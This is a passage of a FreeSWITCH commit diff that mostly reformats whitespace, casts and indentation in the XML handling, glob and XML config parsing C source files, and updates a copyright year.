switch_mutex_unlock(XML_GEN_LOCK);
@@ -2172,7 +2175,7 @@
char *s, *t, *n, *r;
int i, j, k;
uint32_t count = 0;
-
+
s = buf;
assert(s != NULL);
memset(s, 0, max);
@@ -2180,9 +2183,9 @@
if (prn_header) {
len += sprintf(s + len, "<?xml version=\"1.0\"?>\n");
}
-
+
if (!xml || !xml->name) {
- if (!(r = (char *)realloc(s, len + 1))) {
+ if (!(r = (char *) realloc(s, len + 1))) {
abort();
}
return r;
@@ -2199,7 +2202,7 @@
continue; /* not pre-root */
}
while (len + strlen(t = root->pi[i][0]) + strlen(n) + 7 > max) {
- if (!(r = (char *)realloc(s, max += SWITCH_XML_BUFSIZE))) {
+ if (!(r = (char *) realloc(s, max += SWITCH_XML_BUFSIZE))) {
abort();
}
s = r;
@@ -2220,7 +2223,7 @@
continue; /* not post-root */
}
while (len + strlen(t = root->pi[i][0]) + strlen(n) + 7 > max) {
- if (!(r = (char *)realloc(s, max += SWITCH_XML_BUFSIZE))) {
+ if (!(r = (char *) realloc(s, max += SWITCH_XML_BUFSIZE))) {
abort();
}
s = r;
@@ -2229,7 +2232,7 @@
}
}
- if (!(r = (char *)realloc(s, len + 1))) {
+ if (!(r = (char *) realloc(s, len + 1))) {
abort();
}
@@ -2244,8 +2247,8 @@
char **a, *s;
switch_xml_t orig_xml;
-tailrecurse:
- root = (switch_xml_root_t) xml;
+ tailrecurse:
+ root = (switch_xml_root_t) xml;
if (!xml) {
return;
}
@@ -2265,11 +2268,11 @@
}
switch_xml_free(xml->child);
- /*switch_xml_free(xml->ordered);*/
+ /*switch_xml_free(xml->ordered); */
if (!xml->parent) { /* free root tag allocations */
#if (_MSC_VER >= 1400) // VC8+
- __analysis_assume(sizeof(root->ent) > 44); /* tail recursion confuses code analysis */
+ __analysis_assume(sizeof(root->ent) > 44); /* tail recursion confuses code analysis */
#endif
for (i = 10; root->ent[i]; i += 2) /* 0 - 9 are default entities (<>&"') */
if ((s = root->ent[i + 1]) < root->s || s > root->e)
@@ -2332,12 +2335,13 @@
"apos;", "'", "amp;", "&", NULL
};
switch_xml_root_t root = (switch_xml_root_t) malloc(sizeof(struct switch_xml_root));
- if (!root) return NULL;
+ if (!root)
+ return NULL;
memset(root, '\0', sizeof(struct switch_xml_root));
root->xml.name = (char *) name;
root->cur = &root->xml;
- strcpy(root->err, root->xml.txt = (char *)"");
- root->ent = (char **)memcpy(malloc(sizeof(ent)), ent, sizeof(ent));
+ strcpy(root->err, root->xml.txt = (char *) "");
+ root->ent = (char **) memcpy(malloc(sizeof(ent)), ent, sizeof(ent));
root->attr = root->pi = (char ***) (root->xml.attr = SWITCH_XML_NIL);
return &root->xml;
}
@@ -2388,14 +2392,16 @@
{
switch_xml_t child;
- if (!xml) return NULL;
- if (!(child = (switch_xml_t) malloc(sizeof(struct switch_xml)))) return NULL;
+ if (!xml)
+ return NULL;
+ if (!(child = (switch_xml_t) malloc(sizeof(struct switch_xml))))
+ return NULL;
memset(child, '\0', sizeof(struct switch_xml));
child->name = (char *) name;
child->attr = SWITCH_XML_NIL;
child->off = off;
child->parent = xml;
- child->txt = (char *)"";
+ child->txt = (char *) "";
return switch_xml_insert(child, xml, off);
}
@@ -2426,18 +2432,20 @@
if (!value)
return xml; /* nothing to do */
if (xml->attr == SWITCH_XML_NIL) { /* first attribute */
- xml->attr = (char **)malloc(4 * sizeof(char *));
- if (!xml->attr) return NULL;
+ xml->attr = (char **) malloc(4 * sizeof(char *));
+ if (!xml->attr)
+ return NULL;
xml->attr[1] = strdup(""); /* empty list of malloced names/vals */
} else {
- char **tmp = (char **)realloc(xml->attr, (l + 4) * sizeof(char *));
- if (!tmp) return xml;
+ char **tmp = (char **) realloc(xml->attr, (l + 4) * sizeof(char *));
+ if (!tmp)
+ return xml;
xml->attr = tmp;
}
xml->attr[l] = (char *) name; /* set attribute name */
xml->attr[l + 2] = NULL; /* null terminate attribute list */
- xml->attr[l + 3] = (char *)realloc(xml->attr[l + 1], (c = (int) strlen(xml->attr[l + 1])) + 2);
+ xml->attr[l + 3] = (char *) realloc(xml->attr[l + 1], (c = (int) strlen(xml->attr[l + 1])) + 2);
strcpy(xml->attr[l + 3] + c, " "); /* set name/value as not malloced */
if (xml->flags & SWITCH_XML_DUP)
xml->attr[l + 3][c] = SWITCH_XML_NAMEM;
@@ -2459,8 +2467,9 @@
if (xml->attr[c + 1][l / 2] & SWITCH_XML_NAMEM)
free(xml->attr[l]);
memmove(xml->attr + l, xml->attr + l + 2, (c - l + 2) * sizeof(char *));
- tmp =(char **)realloc(xml->attr, (c + 2) * sizeof(char *));
- if (!tmp) return xml;
+ tmp = (char **) realloc(xml->attr, (c + 2) * sizeof(char *));
+ if (!tmp)
+ return xml;
xml->attr = tmp;
memmove(xml->attr[c + 1] + (l / 2), xml->attr[c + 1] + (l / 2) + 1, (c / 2) - (l / 2)); /* fix list of which name/vals are malloced */
}
@@ -2591,24 +2600,24 @@
#define MAXPATHLEN 256
#endif
-static int compare(const void *, const void *);
-static int glob0(const char *, glob_t *, size_t *);
-static int glob1(char *, glob_t *, size_t *);
-static int glob2(char *, char *, char *, char *, glob_t *, size_t *);
-static int glob3(char *, char *, char *, char *, char *, glob_t *, size_t *);
-static int globextend(const char *, glob_t *, size_t *);
-static int match(char *, char *, char *);
+static int compare(const void *, const void *);
+static int glob0(const char *, glob_t *, size_t *);
+static int glob1(char *, glob_t *, size_t *);
+static int glob2(char *, char *, char *, char *, glob_t *, size_t *);
+static int glob3(char *, char *, char *, char *, char *, glob_t *, size_t *);
+static int globextend(const char *, glob_t *, size_t *);
+static int match(char *, char *, char *);
#pragma warning(push)
#pragma warning(disable:4310)
-int glob(const char *pattern, int flags, int (*errfunc)(const char *, int), glob_t *pglob)
+int glob(const char *pattern, int flags, int (*errfunc) (const char *, int), glob_t *pglob)
{
const unsigned char *patnext;
size_t limit;
char c;
char *bufnext, *bufend, patbuf[MAXPATHLEN];
-
+
patnext = (unsigned char *) pattern;
if (!(flags & GLOB_APPEND)) {
pglob->gl_pathc = 0;
@@ -2625,13 +2634,13 @@
pglob->gl_flags = flags & ~GLOB_MAGCHAR;
pglob->gl_errfunc = errfunc;
pglob->gl_matchc = 0;
-
+
bufnext = patbuf;
bufend = bufnext + MAXPATHLEN - 1;
while (bufnext < bufend && (c = *patnext++) != EOS)
*bufnext++ = c;
*bufnext = EOS;
-
+
return glob0(patbuf, pglob, &limit);
}
@@ -2647,66 +2656,64 @@
int c, err;
size_t oldpathc;
char *bufnext, patbuf[MAXPATHLEN];
-
+
qpatnext = pattern;
oldpathc = pglob->gl_pathc;
bufnext = patbuf;
-
+
/* We don't need to check for buffer overflow any more. */
while ((c = *qpatnext++) != EOS) {
switch (c) {
- case SEP:
- *bufnext++ = WIN_SEP;
- break;
- case LBRACKET:
- c = *qpatnext;
+ case SEP:
+ *bufnext++ = WIN_SEP;
+ break;
+ case LBRACKET:
+ c = *qpatnext;
+ if (c == NOT)
+ ++qpatnext;
+ if (*qpatnext == EOS || strchr((char *) qpatnext + 1, RBRACKET) == NULL) {
+ *bufnext++ = LBRACKET;
if (c == NOT)
- ++qpatnext;
- if (*qpatnext == EOS ||
- strchr((char *) qpatnext+1, RBRACKET) == NULL) {
- *bufnext++ = LBRACKET;
- if (c == NOT)
- --qpatnext;
- break;
- }
- *bufnext++ = M_SET;
- if (c == NOT)
- *bufnext++ = M_NOT;
- c = *qpatnext++;
- do {
- *bufnext++ = CHAR(c);
- if (*qpatnext == RANGE &&
- (c = qpatnext[1]) != RBRACKET) {
- *bufnext++ = M_RNG;
- *bufnext++ = CHAR(c);
- qpatnext += 2;
- }
- } while ((c = *qpatnext++) != RBRACKET);
- pglob->gl_flags |= GLOB_MAGCHAR;
- *bufnext++ = M_END;
+ --qpatnext;
break;
- case QUESTION:
- pglob->gl_flags |= GLOB_MAGCHAR;
- *bufnext++ = M_ONE;
- break;
- case STAR:
- pglob->gl_flags |= GLOB_MAGCHAR;
- /* collapse adjacent stars to one,
- * to avoid exponential behavior
- */
- if (bufnext == patbuf || bufnext[-1] != M_ALL)
- *bufnext++ = M_ALL;
- break;
- default:
+ }
+ *bufnext++ = M_SET;
+ if (c == NOT)
+ *bufnext++ = M_NOT;
+ c = *qpatnext++;
+ do {
*bufnext++ = CHAR(c);
- break;
+ if (*qpatnext == RANGE && (c = qpatnext[1]) != RBRACKET) {
+ *bufnext++ = M_RNG;
+ *bufnext++ = CHAR(c);
+ qpatnext += 2;
+ }
+ } while ((c = *qpatnext++) != RBRACKET);
+ pglob->gl_flags |= GLOB_MAGCHAR;
+ *bufnext++ = M_END;
+ break;
+ case QUESTION:
+ pglob->gl_flags |= GLOB_MAGCHAR;
+ *bufnext++ = M_ONE;
+ break;
+ case STAR:
+ pglob->gl_flags |= GLOB_MAGCHAR;
+ /* collapse adjacent stars to one,
+ * to avoid exponential behavior
+ */
+ if (bufnext == patbuf || bufnext[-1] != M_ALL)
+ *bufnext++ = M_ALL;
+ break;
+ default:
+ *bufnext++ = CHAR(c);
+ break;
}
}
*bufnext = EOS;
-
+
if ((err = glob1(patbuf, pglob, limit)) != 0)
- return(err);
-
+ return (err);
+
/*
* If there was no match we are going to append the pattern
* if GLOB_NOCHECK was specified or if GLOB_NOMAGIC was specified
@@ -2714,33 +2721,29 @@
* GLOB_NOMAGIC is there just for compatibility with csh.
*/
if (pglob->gl_pathc == oldpathc) {
- if (((pglob->gl_flags & GLOB_NOCHECK) ||
- ((pglob->gl_flags & GLOB_NOMAGIC) &&
- !(pglob->gl_flags & GLOB_MAGCHAR))))
- return(globextend(pattern, pglob, limit));
+ if (((pglob->gl_flags & GLOB_NOCHECK) || ((pglob->gl_flags & GLOB_NOMAGIC) && !(pglob->gl_flags & GLOB_MAGCHAR))))
+ return (globextend(pattern, pglob, limit));
else
- return(GLOB_NOMATCH);
+ return (GLOB_NOMATCH);
}
if (!(pglob->gl_flags & GLOB_NOSORT))
- qsort(pglob->gl_pathv + pglob->gl_offs + oldpathc,
- pglob->gl_pathc - oldpathc, sizeof(char *), compare);
- return(0);
+ qsort(pglob->gl_pathv + pglob->gl_offs + oldpathc, pglob->gl_pathc - oldpathc, sizeof(char *), compare);
+ return (0);
}
static int compare(const void *p, const void *q)
{
- return(strcmp(*(char **)p, *(char **)q));
+ return (strcmp(*(char **) p, *(char **) q));
}
static int glob1(char *pattern, glob_t *pglob, size_t *limit)
{
char pathbuf[MAXPATHLEN];
-
+
/* A null pathname is invalid -- POSIX 1003.1 sect. 2.4. */
if (*pattern == EOS)
- return(0);
- return(glob2(pathbuf, pathbuf, pathbuf + MAXPATHLEN - 1,
- pattern, pglob, limit));
+ return (0);
+ return (glob2(pathbuf, pathbuf, pathbuf + MAXPATHLEN - 1, pattern, pglob, limit));
}
/*
@@ -2753,27 +2756,27 @@
struct stat sb;
char *p, *q;
int anymeta;
-
+
/*
* Loop over pattern segments until end of pattern or until
* segment with meta character found.
*/
for (anymeta = 0;;) {
- if (*pattern == EOS) { /* End of pattern? */
+ if (*pattern == EOS) { /* End of pattern? */
*pathend = EOS;
if (stat(pathbuf, &sb))
- return(0);
-
- if (((pglob->gl_flags & GLOB_MARK) && pathend[-1] != SEP && pathend[-1] != WIN_SEP) && (_S_IFDIR & sb.st_mode) ) {
+ return (0);
+
+ if (((pglob->gl_flags & GLOB_MARK) && pathend[-1] != SEP && pathend[-1] != WIN_SEP) && (_S_IFDIR & sb.st_mode)) {
if (pathend + 1 > pathend_last)
return (GLOB_ABORTED);
*pathend++ = WIN_SEP;
*pathend = EOS;
}
++pglob->gl_matchc;
- return(globextend(pathbuf, pglob, limit));
+ return (globextend(pathbuf, pglob, limit));
}
-
+
/* Find end of next segment, copy tentatively to pathend. */
q = pathend;
p = pattern;
@@ -2784,8 +2787,8 @@
return (GLOB_ABORTED);
*q++ = *p++;
}
-
- if (!anymeta) { /* No expansion, do next segment. */
+
+ if (!anymeta) { /* No expansion, do next segment. */
pathend = q;
pattern = p;
while (*pattern == SEP || *pattern == WIN_SEP) {
@@ -2793,9 +2796,8 @@
return (GLOB_ABORTED);
*pathend++ = *pattern++;
}
- } else /* Need expansion, recurse. */
- return(glob3(pathbuf, pathend, pathend_last, pattern, p,
- pglob, limit));
+ } else /* Need expansion, recurse. */
+ return (glob3(pathbuf, pathend, pathend_last, pattern, p, pglob, limit));
}
/* NOTREACHED */
}
@@ -2803,63 +2805,60 @@
static int glob3(char *pathbuf, char *pathend, char *pathend_last, char *pattern, char *restpattern, glob_t *pglob, size_t *limit)
{
int err;
- apr_dir_t * dirp;
- apr_pool_t * pool;
-
+ apr_dir_t *dirp;
+ apr_pool_t *pool;
+
apr_pool_create(&pool, NULL);
-
+
if (pathend > pathend_last)
return (GLOB_ABORTED);
*pathend = EOS;
errno = 0;
-
- if (apr_dir_open (&dirp, pathbuf, pool) != APR_SUCCESS) {
+
+ if (apr_dir_open(&dirp, pathbuf, pool) != APR_SUCCESS) {
/* TODO: don't call for ENOENT or ENOTDIR? */
apr_pool_destroy(pool);
if (pglob->gl_errfunc) {
- if (pglob->gl_errfunc(pathbuf, errno) ||
- pglob->gl_flags & GLOB_ERR)
+ if (pglob->gl_errfunc(pathbuf, errno) || pglob->gl_flags & GLOB_ERR)
return (GLOB_ABORTED);
}
- return(0);
+ return (0);
}
-
+
err = 0;
-
+
/* Search directory for matching names. */
- while (dirp)
- {
+ while (dirp) {
apr_finfo_t dp;
unsigned char *sc;
char *dc;
-
+
if (apr_dir_read(&dp, APR_FINFO_NAME, dirp) != APR_SUCCESS)
break;
if (!(dp.valid & APR_FINFO_NAME) || !(dp.name) || !strlen(dp.name))
break;
-
+
/* Initial DOT must be matched literally. */
if (dp.name[0] == DOT && *pattern != DOT)
continue;
dc = pathend;
sc = (unsigned char *) dp.name;
-
+
while (dc < pathend_last && (*dc++ = *sc++) != EOS);
-
+
if (!match(pathend, pattern, restpattern)) {
*pathend = EOS;
continue;
}
- err = glob2(pathbuf, --dc, pathend_last, restpattern,
- pglob, limit);
+ err = glob2(pathbuf, --dc, pathend_last, restpattern, pglob, limit);
if (err)
break;
}
-
- if (dirp)
- apr_dir_close (dirp);
+
+ if (dirp)
+ apr_dir_close(dirp);
apr_pool_destroy(pool);
- return(err);
+ return (err);
}
@@ -2880,45 +2879,43 @@
static int globextend(const char *path, glob_t *pglob, size_t *limit)
{
char **pathv;
- char * copy;
+ char *copy;
size_t i;
size_t newsize, len;
const char *p;
-
+
if (*limit && pglob->gl_pathc > *limit) {
errno = 0;
return (GLOB_NOSPACE);
}
-
+
newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);
- pathv = pglob->gl_pathv ?
- realloc((char *)pglob->gl_pathv, newsize) :
- malloc(newsize);
+ pathv = pglob->gl_pathv ? realloc((char *) pglob->gl_pathv, newsize) : malloc(newsize);
if (pathv == NULL) {
if (pglob->gl_pathv) {
free(pglob->gl_pathv);
pglob->gl_pathv = NULL;
}
- return(GLOB_NOSPACE);
+ return (GLOB_NOSPACE);
}
-
+
if (pglob->gl_pathv == NULL && pglob->gl_offs > 0) {
/* first time around -- clear initial gl_offs items */
pathv += pglob->gl_offs;
- for (i = pglob->gl_offs; i-- > 0; )
+ for (i = pglob->gl_offs; i-- > 0;)
*--pathv = NULL;
}
pglob->gl_pathv = pathv;
-
+
for (p = path; *p++;)
continue;
- len = (size_t)(p - path);
+ len = (size_t) (p - path);
if ((copy = malloc(len)) != NULL) {
memcpy(copy, path, len);
pathv[pglob->gl_offs + pglob->gl_pathc++] = copy;
}
pathv[pglob->gl_offs + pglob->gl_pathc] = NULL;
- return(copy == NULL ? GLOB_NOSPACE : 0);
+ return (copy == NULL ? GLOB_NOSPACE : 0);
}
/*
@@ -2930,49 +2927,49 @@
int ok, negate_range;
char c, k;
char s1[6];
-
+
while (pat < patend) {
c = *pat++;
switch (c & M_MASK) {
- case M_ALL:
- if (pat == patend)
- return(1);
- do
- if (match(name, pat, patend))
- return(1);
- while (*name++ != EOS);
- return(0);
- case M_ONE:
- if (*name++ == EOS)
- return(0);
- break;
- case M_SET:
- ok = 0;
- if ((k = *name++) == EOS)
- return(0);
- if ((negate_range = ((*pat & M_MASK) == M_NOT)) != EOS)
- ++pat;
- while (((c = *pat++) & M_MASK) != M_END)
- if ((*pat & M_MASK) == M_RNG) {
- memset(s1, 0, sizeof(s1));
- s1[0] = c;
- s1[2] = k;
- s1[4] = pat[1];
- if (strcoll(&s1[0], &s1[2]) <= 0 && strcoll(&s1[2], &s1[4]) <= 0)
- ok = 1;
- pat += 2;
- } else if (c == k)
+ case M_ALL:
+ if (pat == patend)
+ return (1);
+ do
+ if (match(name, pat, patend))
+ return (1);
+ while (*name++ != EOS);
+ return (0);
+ case M_ONE:
+ if (*name++ == EOS)
+ return (0);
+ break;
+ case M_SET:
+ ok = 0;
+ if ((k = *name++) == EOS)
+ return (0);
+ if ((negate_range = ((*pat & M_MASK) == M_NOT)) != EOS)
+ ++pat;
+ while (((c = *pat++) & M_MASK) != M_END)
+ if ((*pat & M_MASK) == M_RNG) {
+ memset(s1, 0, sizeof(s1));
+ s1[0] = c;
+ s1[2] = k;
+ s1[4] = pat[1];
+ if (strcoll(&s1[0], &s1[2]) <= 0 && strcoll(&s1[2], &s1[4]) <= 0)
ok = 1;
- if (ok == negate_range)
- return(0);
- break;
- default:
- if (*name++ != c)
- return(0);
- break;
+ pat += 2;
+ } else if (c == k)
+ ok = 1;
+ if (ok == negate_range)
+ return (0);
+ break;
+ default:
+ if (*name++ != c)
+ return (0);
+ break;
}
}
- return(*name == EOS);
+ return (*name == EOS);
}
/* Free allocated data belonging to a glob_t structure. */
@@ -2980,7 +2977,7 @@
{
size_t i;
char **pp;
-
+
if (pglob->gl_pathv != NULL) {
pp = pglob->gl_pathv + pglob->gl_offs;
for (i = pglob->gl_pathc; i--; ++pp)
@@ -2990,6 +2987,7 @@
pglob->gl_pathv = NULL;
}
}
+
#pragma warning(pop)
#endif
Modified: freeswitch/trunk/src/switch_xml_config.c (16578 => 16579)
--- freeswitch/trunk/src/switch_xml_config.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_xml_config.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -35,21 +35,21 @@
SWITCH_DECLARE_DATA switch_xml_config_string_options_t switch_config_string_strdup = { NULL, 0, NULL };
static switch_xml_config_enum_item_t switch_config_types_enum[] = {
- {"int", SWITCH_CONFIG_INT },
- {"string", SWITCH_CONFIG_STRING },
- {"bool", SWITCH_CONFIG_BOOL },
- {"custom", SWITCH_CONFIG_CUSTOM },
- {"enum", SWITCH_CONFIG_ENUM },
- {"flag", SWITCH_CONFIG_FLAG },
- {"flagarray",SWITCH_CONFIG_FLAGARRAY},
- { NULL, 0 }
+ {"int", SWITCH_CONFIG_INT},
+ {"string", SWITCH_CONFIG_STRING},
+ {"bool", SWITCH_CONFIG_BOOL},
+ {"custom", SWITCH_CONFIG_CUSTOM},
+ {"enum", SWITCH_CONFIG_ENUM},
+ {"flag", SWITCH_CONFIG_FLAG},
+ {"flagarray", SWITCH_CONFIG_FLAGARRAY},
+ {NULL, 0}
};
SWITCH_DECLARE(switch_size_t) switch_event_import_xml(switch_xml_t xml, const char *keyname, const char *valuename, switch_event_t **event)
{
switch_xml_t node;
switch_size_t count = 0;
-
+
if (!*event) {
/* SWITCH_EVENT_CLONE will not insert any generic event headers */
switch_event_create(event, SWITCH_EVENT_CLONE);
@@ -64,7 +64,7 @@
count++;
}
}
-
+
return count;
}
@@ -72,7 +72,7 @@
{
switch_xml_t cfg, xml, settings;
switch_status_t status = SWITCH_STATUS_SUCCESS;
-
+
if (!(xml = switch_xml_open_cfg(file, &cfg, NULL))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not open %s\n", file);
return SWITCH_STATUS_FALSE;
@@ -81,9 +81,9 @@
if ((settings = switch_xml_child(cfg, "settings"))) {
status = switch_xml_config_parse(switch_xml_child(settings, "param"), reload, instructions);
}
-
+
switch_xml_free(xml);
-
+
return status;
}
@@ -91,8 +91,8 @@
{
if (item->syntax && item->helptext) {
switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, level, "Item name: [%s]\nType: %s (%s)\nSyntax: %s\nHelp: %s\n\n",
- item->key, switch_xml_config_enum_int2str(switch_config_types_enum, item->type),
- switch_test_flag(item, CONFIG_REQUIRED) ? "required" : "optional", item->syntax, item->helptext);
+ item->key, switch_xml_config_enum_int2str(switch_config_types_enum, item->type),
+ switch_test_flag(item, CONFIG_REQUIRED) ? "required" : "optional", item->syntax, item->helptext);
}
}
@@ -101,31 +101,31 @@
switch_event_t *event = NULL;
switch_status_t result;
int count = switch_event_import_xml(xml, "name", "value", &event);
-
+
result = switch_xml_config_parse_event(event, count, reload, instructions);
-
+
if (event) {
switch_event_destroy(&event);
}
-
+
return result;
}
SWITCH_DECLARE(switch_status_t) switch_xml_config_enum_str2int(switch_xml_config_enum_item_t *enum_options, const char *value, int *out)
{
- for (;enum_options->key; enum_options++) {
+ for (; enum_options->key; enum_options++) {
if (!strcasecmp(value, enum_options->key)) {
*out = enum_options->value;
return SWITCH_STATUS_SUCCESS;
}
}
-
+
return SWITCH_STATUS_FALSE;
}
-SWITCH_DECLARE(const char*) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value)
+SWITCH_DECLARE(const char *) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value)
{
- for (;enum_options->key; enum_options++) {
+ for (; enum_options->key; enum_options++) {
if (value == enum_options->value) {
return enum_options->key;
}
@@ -133,241 +133,245 @@
return NULL;
}
-SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload, switch_xml_config_item_t *instructions)
+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload,
+ switch_xml_config_item_t *instructions)
{
switch_xml_config_item_t *item;
int matched_count = 0;
-
+
for (item = instructions; item->key; item++) {
const char *value = switch_event_get_header(event, item->key);
switch_bool_t changed = SWITCH_FALSE;
- switch_xml_config_callback_t callback = (switch_xml_config_callback_t)item->function;
+ switch_xml_config_callback_t callback = (switch_xml_config_callback_t) item->function;
void *ptr = item->ptr;
-
+
//switch_assert(ptr);
-
+
if (value) {
matched_count++;
}
-
+
if (reload && !switch_test_flag(item, CONFIG_RELOADABLE)) {
continue;
}
-
+
if (!value && switch_test_flag(item, CONFIG_REQUIRED)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Required parameter [%s] is missing\n", item->key);
return SWITCH_STATUS_FALSE;
}
-
- switch(item->type) {
- case SWITCH_CONFIG_INT:
- {
- switch_xml_config_int_options_t *int_options = (switch_xml_config_int_options_t*)item->data;
- int *dest = (int*)ptr;
- int intval;
- if (value) {
- if (switch_is_number(value)) {
- intval = atoi(value);
- } else {
- intval = (int)(intptr_t)item->defaultvalue;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%d]\n",
- value, item->key, intval);
- }
-
- if (int_options) {
- /* Enforce validation options */
- if ((int_options->enforce_min && !(intval > int_options->min)) ||
- (int_options->enforce_max && !(intval < int_options->max))) {
- /* Validation failed, set default */
- intval = (int)(intptr_t)item->defaultvalue;
- /* Then complain */
- if (int_options->enforce_min && int_options->enforce_max) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], should be between [%d] and [%d], setting default [%d]\n",
- value, item->key, int_options->min, int_options->max, intval);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], should be %s [%d], setting default [%d]\n",
- value, item->key, int_options->enforce_min ? "at least" : "at max", int_options->enforce_min ? int_options->min : int_options->max, intval);
- }
- }
- }
+
+ switch (item->type) {
+ case SWITCH_CONFIG_INT:
+ {
+ switch_xml_config_int_options_t *int_options = (switch_xml_config_int_options_t *) item->data;
+ int *dest = (int *) ptr;
+ int intval;
+ if (value) {
+ if (switch_is_number(value)) {
+ intval = atoi(value);
} else {
- intval = (int)(intptr_t)item->defaultvalue;
+ intval = (int) (intptr_t) item->defaultvalue;
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%d]\n",
+ value, item->key, intval);
}
-
- if (*dest != intval) {
- *dest = intval;
- changed = SWITCH_TRUE;
- }
- }
- break;
- case SWITCH_CONFIG_STRING:
- {
- switch_xml_config_string_options_t string_options_default = { 0 };
- switch_xml_config_string_options_t *string_options = item->data ? (switch_xml_config_string_options_t*)item->data : &string_options_default;
- const char *newstring = NULL;
-
- /* Perform validation */
- if (value) {
- if (!zstr(string_options->validation_regex)) {
- if (switch_regex_match(value, string_options->validation_regex) == SWITCH_STATUS_SUCCESS) {
- newstring = value; /* Regex match, accept value*/
+
+ if (int_options) {
+ /* Enforce validation options */
+ if ((int_options->enforce_min && !(intval > int_options->min)) || (int_options->enforce_max && !(intval < int_options->max))) {
+ /* Validation failed, set default */
+ intval = (int) (intptr_t) item->defaultvalue;
+ /* Then complain */
+ if (int_options->enforce_min && int_options->enforce_max) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+ "Invalid value [%s] for parameter [%s], should be between [%d] and [%d], setting default [%d]\n", value,
+ item->key, int_options->min, int_options->max, intval);
} else {
- newstring = (char*)item->defaultvalue; /* Regex failed */
- if (newstring) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%s]\n",
- value, item->key, newstring);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s]\n", value, item->key);
- }
- switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+ "Invalid value [%s] for parameter [%s], should be %s [%d], setting default [%d]\n", value, item->key,
+ int_options->enforce_min ? "at least" : "at max",
+ int_options->enforce_min ? int_options->min : int_options->max, intval);
}
- } else {
- newstring = value; /* No validation */
}
- } else {
- newstring = (char*)item->defaultvalue;
}
+ } else {
+ intval = (int) (intptr_t) item->defaultvalue;
+ }
- if (string_options->length > 0) {
- /* We have a preallocated buffer */
- char *dest = (char*)ptr;
-
- if (newstring) {
- if (strncasecmp(dest, newstring, string_options->length)) {
- switch_copy_string(dest, newstring, string_options->length);
- changed = SWITCH_TRUE;
- }
+ if (*dest != intval) {
+ *dest = intval;
+ changed = SWITCH_TRUE;
+ }
+ }
+ break;
+ case SWITCH_CONFIG_STRING:
+ {
+ switch_xml_config_string_options_t string_options_default = { 0 };
+ switch_xml_config_string_options_t *string_options =
+ item->data ? (switch_xml_config_string_options_t *) item->data : &string_options_default;
+ const char *newstring = NULL;
+
+ /* Perform validation */
+ if (value) {
+ if (!zstr(string_options->validation_regex)) {
+ if (switch_regex_match(value, string_options->validation_regex) == SWITCH_STATUS_SUCCESS) {
+ newstring = value; /* Regex match, accept value */
} else {
- if (*dest != '\0') {
- *dest = '\0';
- changed = SWITCH_TRUE;
+ newstring = (char *) item->defaultvalue; /* Regex failed */
+ if (newstring) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%s]\n",
+ value, item->key, newstring);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s]\n", value, item->key);
}
+ switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
}
- } else if (string_options->pool) {
- /* Pool-allocated buffer */
- char **dest = (char**)ptr;
-
- if (newstring) {
- if (!*dest || strcmp(*dest, newstring)) {
- *dest = switch_core_strdup(string_options->pool, newstring);
- }
- } else {
- if (*dest) {
- changed = SWITCH_TRUE;
- *dest = NULL;
- }
- }
} else {
- /* Dynamically allocated buffer */
- char **dest = (char**)ptr;
-
- if (newstring) {
- if (!*dest || strcmp(*dest, newstring)) {
- switch_safe_free(*dest);
- *dest = strdup(newstring);
- changed = SWITCH_TRUE;
- }
- } else {
- if (*dest) {
- switch_safe_free(*dest);
- changed = SWITCH_TRUE;
- }
- }
+ newstring = value; /* No validation */
}
+ } else {
+ newstring = (char *) item->defaultvalue;
}
- break;
- case SWITCH_CONFIG_BOOL:
- {
- switch_bool_t *dest = (switch_bool_t*)ptr;
- switch_bool_t newval = SWITCH_FALSE;
-
- if (value && switch_true(value)) {
- newval = SWITCH_TRUE;
- } else if (value && switch_false(value)) {
- newval = SWITCH_FALSE;
- } else if (value) {
- /* Value isnt true or false */
- newval = (switch_bool_t)(intptr_t)item->defaultvalue;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%s]\n",
- value, item->key, newval ? "true" : "false");
- switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
+
+ if (string_options->length > 0) {
+ /* We have a preallocated buffer */
+ char *dest = (char *) ptr;
+
+ if (newstring) {
+ if (strncasecmp(dest, newstring, string_options->length)) {
+ switch_copy_string(dest, newstring, string_options->length);
+ changed = SWITCH_TRUE;
